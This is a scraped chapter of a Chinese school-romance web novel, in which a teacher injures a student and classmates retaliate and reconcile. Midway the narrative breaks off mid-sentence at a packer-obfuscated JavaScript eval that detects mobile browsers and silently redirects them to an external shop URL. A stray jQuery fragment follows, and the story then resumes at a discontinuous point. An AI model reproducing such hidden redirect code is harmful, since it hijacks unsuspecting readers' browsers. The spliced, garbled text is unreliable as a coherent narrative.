文趣网 > 其他小说 > 你是我的至此终年 > 25. 第二十五章
    又是猴子的课,这人讲课像是生怕底下学生能听得明白,节奏快得离谱,林池不出意外地又听不懂。

    她两条眉毛拧在一起,盯着课本直发懵。

    足足挣扎了十分钟,她决定还是翻开汪洋丢过来的书。打发时间吧,不然这节课太难熬。

    别说,这本《谢都督的暖床小徒弟》书名起得真歹毒,内容却真香,第一章就很抓人,越看越上头。

    林池埋头苦读全神贯注,看得半天没动一下。

    汪洋在强咳,她充耳未闻,埋在书本里如痴如醉。

    书是好东西啊,书中自有颜如玉,更有温柔翩翩少年郎,书中的深情绕啊绕,在她心头痒痒的。

    前排的汪洋和凌云咳了又咳,再咳了咳。

    出于礼貌,林池觉得很有必要关心两句,咳久了会得肺炎,肺炎会传染。

    她费了老大劲才从书里抽回视线,缓缓抬起头:“……”

    猴子那张尖嘴猴腮的脸突然闯进了她的视线。

    “?”

    林池看着眼前放大的五官,脑子一时转不过弯,嘴比脑子急,下意识脱口而出:“你干嘛?”

    猴子皮笑肉不笑:“同学,看什么呢?”

    看什么?看书呢。

    桌上摊开的小说赫然暴露在外,林池终于反应过来,慌忙伸手想要把书藏起来。

    猴子的动作比她更快,两根手指一伸,直接扣住了书页。

    “滚起来。”猴子吼了句。

    林池沉默地站起身,她垂下眼,目测了下,这人铁定没有一米六,自己站着竟比他还高出一个头。

    猴子个头矮小,可气场足够强大,一双不算大的眼睛精光逼人,冷冷一扫,原本还有窃窃私语的教室瞬间死寂,要是有针落在地上,估计清晰可闻。

    猴子一脸阴沉,伸出皮包骨的手掌按在书页上。他的指甲泛着青灰色,不知是不是常年脾气太过暴躁,导致体虚,指甲上一个月牙都没。

    他往回抽书,林池无意识地拽住。

    僵持了一个来回,猴子狠狠一瞪,什么都不必多说。

    林池松开了手。

    她悻悻地偏过头,盯着墙角。对方气场太强,我方明显干不过。

    猴子一把抽走书,在手里掂了掂,这本书的厚度堪比新华字典,沉甸甸的,很压手。

    他盯着书封看了一会,随即抬高音量,念起了书名:“《谢都督的暖床小徒弟》。”

    前排的汪洋和凌云听见这话,身子不约而同一颤,猴子掀开扉页,竟饶有兴致地打算接着往下念。

    只不过才念了一小段,猴子双眸骤然一眯。脸上那副表情该怎么形容呢,就好似低头瞥见脚边趴着一只满身脓包的青蛙,谈不上害怕,就是掩饰不住的恶心反胃。

    对,猴子就是这用种看青蛙的眼神盯着林池。

    林池被他盯得浑身不发毛,心底隐隐升起一种不好的预感,她下意识抬手护住右手腕。

    下一秒,猴子抬起手,把厚厚的一本书狠狠砸在她的脑门上。

    其实本不至于的。

    如果是前排的汪洋和凌云偷偷看小说,他顶多扫一眼转头就走,绝不会闹这么一出。可对待林,他态度极其恶劣。

    记得那天是猴子来高二(八)班的第一节课,林池手机忘了调静音,突兀短促的铃声打破了教室里的安静。

    前排好几个人顺着声响往后张望,林池心里忐忑,根本就不敢动。

    猴子捏着粉笔在黑板写字,闻声转过身,一双漆黑如深渊的眼眸扫视全班,用着没温度的声音开口:“谁带的手机,交出来。”

    全班没人应声,哪怕有人隐约辨出手机声响的大致范围,暂时没摸清猴子的脾气,谁也不敢当众出头打小报告。

    猴子又问一遍:“到底谁带的手机,立刻马上交出来。”

    教室里依旧一片死寂,没人吭声。

    猴子走下讲台,径直走到最后一排,在顾一的桌边停了下来。

    顾一歪头看他:“老师,我们可没带手机。”

    猴子朝着最里面,扬了扬下巴,语气强硬:“手机拿出来。”

    “没有。”江词揉了揉脸,“买不起。”

    顾一听完,侧眼斜斜扫了江词一下,指尖还在漫不经心地转着钢笔。

    刚抡了两圈,猴子一把夺过钢笔,狠狠掼在地上,似乎还不解气,抬脚重重碾了两下。

    顾一被猴子突然开启狂暴模式,吓得蹦起来,脱口就道:“你有病?”

    也就是这么一句话,猴子抬手把顾一桌上所有书本一股脑地全扫在地上,声响震人。他厉声开口:“今天不上课,各组组长出来,还有班长学习委员都出来,每组两人,挨个搜身。”

    “搜身”两个字一出,全班都愣住了,这都1202年,居然还有老师能搜学生的身。

    有些胆大的女生当即出声反驳:“老师,你这样不尊重我们。”

    猴子恶狠狠地盯住出声的女生,那女生瞬间噤声,一句话也不敢再说。

    于是史无前例,西高建校以来第一次搜身,竟从猴子的第一节课拉开了序幕。

    林池的手机揣在上衣口袋里,一听要全员搜身,瞬间慌了。

    猴子就站在她身侧,不敢有任何多余的动作。

    林池深吸收一口气,悄悄的,顺着衣摆往上,把口袋里的手机塞到了内衣之间。那时她已经开始穿文胸,隔着一层厚实的布料,手机夹在中间,看上去并不显眼。

    这一动作也仅仅用了几秒,猴子猛地侧过头,目光死死锁着林池的手,狐疑地说:“你在干什么,把东西交出来。”

    他吼的声音有点大,林池脑子有点蒙,脱口道:“胸疼,揉一揉不行啊?”

    说完她又猛地回神,不是,她刚刚说了什么?

    “不行,你给我站起来。”

    林池站起身,双手耷拉两边,木着一张脸。

    “衣服里藏了手机?”

    林池极其配合地把上衣两个口袋翻出来:“这里有你想要的东西吗?”

    口袋里躺着两颗大白兔奶糖,是江词之前给她的。

    猴子盯着那空荡荡的口袋,眉头竖起来,他又追问:“贴身衣服里藏了什么?”

    江词全程安静旁观,听见这句过分的话直接气笑了:“你能不能要不要点脸?她贴身衣服里能有什么,难不成还要脱下来给你检查。”

    话音一落,全部顿时炸开了,很多同学忍无可忍,开声指责。

    “太没师德。”

    “就算你是老师,也不要求翻看女生贴身衣服吧。”

    “我们要去教导处举报你。”

    “身为老师,擅自搜查学生本就是不道德、不尊重人的行为。”江词字正腔圆,落地有声,“任何人都值得被尊重,就算学生也不例外。”

    猴子很较真,就算听见全班齐声声讨,他也丝毫没有停手的意思。

    林池正打算把手机从文胸里拿出来,手刚刚从衣摆下伸进去,就听到江词在她身后,轻轻叫了她一声:“林池。”

    “啊?”林池没敢回头,只轻轻应了声。

    江词趁猴子扭头分神的空隙,手探到桌下。他长手长脚,手臂舒展,指尖贴上她的后腰,带着温度。

    他低声说:“给我。”

    负责搜查林池的是副班长,她敷衍摸了两下,转身要走,猴子精立刻出声拦住她:“贴身物品还没查。”

    江词直接站起身挡在林池面前,将她遮得密不透风,他一把拉开校服拉链,外套摔在地上,扯了扯内里的连帽卫衣,冷声道:“那么喜欢搜内衣,你要不要来摸摸我的,我里面什么都没穿。”

    事后江词告去了教导处,猴子虽然没受到什么处罚,但两人的梁子是彻底结死了。

    猴子处心积虑在找事,江词懒得搭理他。上他的课坐得端正,提问也总能答得滴水不漏,愣是让他抓不出毛病。

    抓到林池纯属惊喜,让猴子顺理成章找到了发泄的出口,心里十分痛快。

    林池捂住流血的鼻子,怔在原地好一会儿。

    猴子拿书朝她脑门砸去,却正中鼻梁,两股热乎乎的鲜血顺着鼻腔像开了水闸一样,往外冒。

    “一个女孩子,看这种不正经的东西,你来学校是干什么……”

    猴子话还没说完,就见一道人影扑了过来。

    江词纵身冲到猴子背后,狠狠一脚踹上去,猴子没留意,重重栽倒在地。

    “扬志刚,我艹你大爷。”江词眼神阴沉沉的,冷得渗人。

    校医室内,林池坐在椅子上垂着头,鼻孔里堵着止血棉花。刚擦过的唇角,还残留着淡淡的血腥味。

    江词从器械盘里上拿起镊子,夹着酒精棉球,小心翼翼擦去她嘴唇上未干净的血迹。

    他反复轻轻擦拭,棉球沾了血又换一块新的。

    似乎过了半个世纪那么漫长,他才低声开口:“你放心,我不会让他白打你的。”

    林池被书砸中脑子一直发懵,又流了不少血,整个人恍恍惚惚的,连自己怎么到校医室的都记不清了。

    她缓缓抬起眼,望向眼前的人。

    他们已经许久没有说过一句话了,其实她总在偷偷看他,每一天都是。

    他看上去和两个月前没什么变化,除了额前的碎发长了些,快遮住半截眉毛。脸很白,衬得左鼻翼上那颗小黑痣格外清晰。

    两人就这么安静的对视。

    好似还在较着劲。

    过了一会儿,江词再度开口:“手怎么弄伤的?是又跟谁打架了?”

    林池偏过头,闷声道:“没打架,摔的。”

    “在哪儿摔的,能摔成这样?”

    “寝室里摔的。”

    “摔哪里了?”江词追问,“医生怎么说?”

    林池转回头,一副我就知道你昨天看到了我,却还在装着没看到的表情。

    江词问:“在医院看见我,为什么不打招呼?”

    林池冷嗤一声:“那你看见了我,又怎么不主动跟我说话?”

    “我在等。”江词慢慢地说,“我一直在等你主动来找我。”

    林池呛声道:“凭什么事事都要我主动,你是人民币吗?凭什么我次次都要对你服软?”

    江词耐着脾气,小心翼翼将她受了伤的右手拢在掌心。他应该没有哄过人,哄起人来像是要干架。

    “林池,我低过一次头了。”他硬邦邦地说,“这次该轮到你了。”

    校医室内开了空调,冷气打得很足,林池觉得有点冷,手指又冰又凉,她下意识蜷起右手指,轻轻回握住江词的手。

    江词没吭声,却小心思地想和她十指相扣,他手指微微动了一下,就听见林池声音很轻地说:“江词,你能不跟黎茉玩吗?”

    林池被打伤的事闹得挺大,惊动了校领导,林振国晚自习时赶来了。他一见林池,从头到脚扫了一遍,手腕缠着纱布,额头鼻子都是青的,一时之间不知道该摆出什么表情。

    林振国深吸了两口气,压下心火,才问她:“听说你爸不在了?”

    林池垂头,想死。

    最后,林振国以病假为由,直接把林池拎回了家。校领导不停赔礼道歉,猴子被停薪留职,江

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17668435|204875||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    词动手打老师也被记了一次处分。

    等林池重新返校,她和江词之间依旧无话可说,

    江词听着林池提出的要求,觉得不可思议:“凭什么?为什么?难道往后只要你看不惯哪个女生,我就得跟她断交?”

    林池平静点头:“差不多就是这么个意思。”

    江词听完,只丢给她一声没什么温度的冷笑。

    两人又一次变回形同陌路的陌生人。

    鸣蝉又开始叫唤,夏天炙热又轰烈。

    下午第一节是体育课,烈日高悬,没哪个傻子愿意待在室外,全都祈祷着别的老师能过来霸占了这节课。

    可事与愿违,体育老师踩着欢悦的小碎步走进教室。

    全班哀吼。

    体育老师见状,一喜:“这么热烈欢迎我?奖励一下,操场测试长跑,男生一千,女生八百。”

    众人怒,砸桌踢凳。

    林池站在毒辣的日头底下,没几分钟,身上就覆了一层汗。她低声骂了句:“这该死的夏天什么时候才能过去。”

    一旁凌云嘴巴里叼着根老冰棍,一脸惬意:“夏天多好啊,带劲,我就喜欢大汗淋漓的滋味。”

    可不就是大汗淋漓,身上一股子汗臭味,林池又往旁边挪了两步,天天坐在他身后,没被熏死也算走运。

    八百米跑完,体育老师拍了拍手宣布解散,自由活动,总算没有丧心病狂安排别的训练。

    林池躲在树荫下嗦着老冰棍,凌云请的,口感清甜冰爽,没有乱七八糟的杂味。

    她咬了一口,余光瞥见有人缓步朝这边走来。她偏过头,没有想搭理的意思。

    顾一一屁股在她身边坐下,手上拿着一把宫扇,也不知从哪个女生那儿抢来的,呼哧呼哧对林池扇着风。

    两人谁也不肯先开口搭话。

    过了一会,顾一可能是真服了,他沉不住了:“大池,你至于这样吗?”

    他已经好久没喊过她大池,就像她也好久没喊过他顾一。

    顾一长叹口气:“手怎么样了?还不能画画吗?”

    林池继续嗦着老冰棍。

    “我说话你听到了没?吃傻了吧你。”

    “你才傻。”

    “我再傻也不敢在外造谣自己老子去世了,你可真的什么都敢说,我服你,真的服你了。”顾一举着宫扇对着林池一下下轻扇,凉丝丝的风吹在脸上,吹开她厚重的刘海,白净的小脸,鼻梁秀气,唇瓣粉粉嫩嫩。

    顾一眨了眨眼:“大池,你是不是整容了?”

    林池莫名地看向他:“?”

    “变漂亮了。”顾一又说,“不过,你能不能不要剪短发了,试着留起长头发,就像……”

    顾一指了指人群中的女生,刻意略过了黎茉:“她们那样的,长长的,你扎起来肯定更好看。”

    林池咬完最后一口冰,含糊道:“不好意思,留不了长发。”

    顾一又叹口气,默默吐出一句:“对不起。”

    林池一惊,手里的棍子差点丢了出去,她转头看向顾一,三个月没正眼瞧过,他个子又蹿高了不少,瘦了一大圈,竟有几分高一初见时的模样。

    林池白了他一眼:“我没怪你,我跟黎茉打架,你帮她是应该的。”

    顾一轻轻应了一声,更加卖力地扇着风:“咱别气了好不好?你心里不痛快就气江词,气黎茉,你别气我。”

    林池一下子扑哧笑出声:“小一一,你怎么还这么天真?江词跟你好得穿一条裤子,黎茉又是你喜欢的人,有他俩在,你觉得咱俩还能像从前那样相处吗?”

    顾一不管不顾,不讲理:“反正你别跟我生气,咱俩和好,还像以前一样。快放暑假了,我找了个靠谱的画室老师,咱俩一块去,不叫江词,也不带黎茉。”

    林池未置可否。

    顾一想她没拒绝,心头顿时松快不少。

    操场上篮球赛打得热火朝天,少年们不惧头顶毒辣的烈日,打得尽兴。顾一把手里的宫扇直接塞给林池:“乖,自己扇,我去打球啦。”

    说完,他一溜烟冲进球场。

    顾一上场后,球场的气氛瞬间燃到顶点,江词一记利落传球,顾一顺势接应,二人配合得天衣无缝。因为是两个班一起上的体育课,场地不少女生顶着烈日看得入迷,此起彼伏的尖叫不断,让场上的男生浑身热血沸腾。

    对抗打得愈发激烈。

    汪洋和凌云组队对阵江词和顾一,两队比分咬得极紧,攻防来回拉扯,一时难分高下。

    中场休息,出了太多汗急需补水,汪洋隔着半个操场,朝着树荫下的林池扬声大喊:“林池,给我买两瓶水。”语气格外亲近。

    林池没觉得有什么,听见喊声,就跑去小卖部,抱了几瓶矿泉水回来。

    汪洋从人群里迎上来,眼里满是笑意:“加冰不?”

    说着伸手接过两瓶冰镇矿泉水,瓶身凝着一层冰凉水珠。他笑着递了一瓶给身旁的凌云,周遭几个打球的男生立刻意味深长地“哎哟”一声,然后笑着起哄。

    汪洋耳根一热,脸又红了起来,他腼腆地挠了挠头,慌忙解释:“这我妹子,你们瞎起什么哄呢。”

    这个解释太过多余,反倒显得此地无银三百两,越描越暧昧。

    林池轻轻皱了下眉,没有开口辩驳,对上顾一投过来的目光,她随手拿起剩下的那瓶矿泉水,朝他丢过去。

    “给你。”

    顾一欣喜地接住,拧开瓶盖仰头灌下去一半,随后把剩下的水递向一旁坐着的江词。

    江词微微一怔,接过,把余下的水一口喝掉。